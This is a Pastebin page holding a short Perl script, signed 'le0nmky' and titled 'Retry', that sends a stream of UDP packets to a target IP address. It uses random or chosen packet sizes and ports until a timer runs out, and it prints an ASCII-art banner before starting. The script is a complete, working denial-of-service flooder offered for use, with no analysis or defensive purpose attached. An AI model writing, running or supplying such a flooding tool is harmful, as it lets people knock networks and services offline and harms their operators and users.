Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Term::ANSIColor qw(:constants);
- $Term::ANSIColor::AUTORESET = 2;
- ##
- # le0nmky
- ##
- use Socket;
- use strict;
- my ($ip,$port,$size,$time) = @ARGV;
- my ($iaddr,$endtime,$psize,$pport);
- $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
- $endtime = time() + ($time ? $time : 100);
- socket(flood, PF_INET, SOCK_DGRAM, 17);
- print BOLD RED<<EOTEXT;
- ██▀███ ▓█████▄▄▄█████▓ ██▀███ ▓██ ██▓
- ▓██ ▒ ██▒▓█ ▀▓ ██▒ ▓▒▓██ ▒ ██▒▒██ ██▒
- ▓██ ░▄█ ▒▒███ ▒ ▓██░ ▒░▓██ ░▄█ ▒ ▒██ ██░
- ▒██▀▀█▄ ▒▓█ ▄░ ▓██▓ ░ ▒██▀▀█▄ ░ ▐██▓░
- ░██▓ ▒██▒░▒████▒ ▒██▒ ░ ░██▓ ▒██▒ ░ ██▒▓░
- ░ ▒▓ ░▒▓░░░ ▒░ ░ ▒ ░░ ░ ▒▓ ░▒▓░ ██▒▒▒
- ░▒ ░ ▒░ ░ ░ ░ ░ ░▒ ░ ▒░▓██ ░▒░
- ░░ ░ ░ ░ ░░ ░ ▒ ▒ ░░
- ░ ░ ░ ░ ░ ░
- ░ ░
- EOTEXT
- print BOLD GREEN<<EOTEXT;
- Retry by le0nmky
- EOTEXT
- print "Sending to $ip " . ($port ? $port : "random") . " port with " .
- ($size ? "$size-byte" : "random size") . " packets" .
- ($time ? " for $time seconds" : "") . "\n";
- print "Stop with Ctrl-C\n" unless $time;
- for (;time() <= $endtime;) {
- $psize = $size ? $size : int(rand(1024-64)+64) ;
- $pport = $port ? $port : int(rand(65500))+1;
- send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement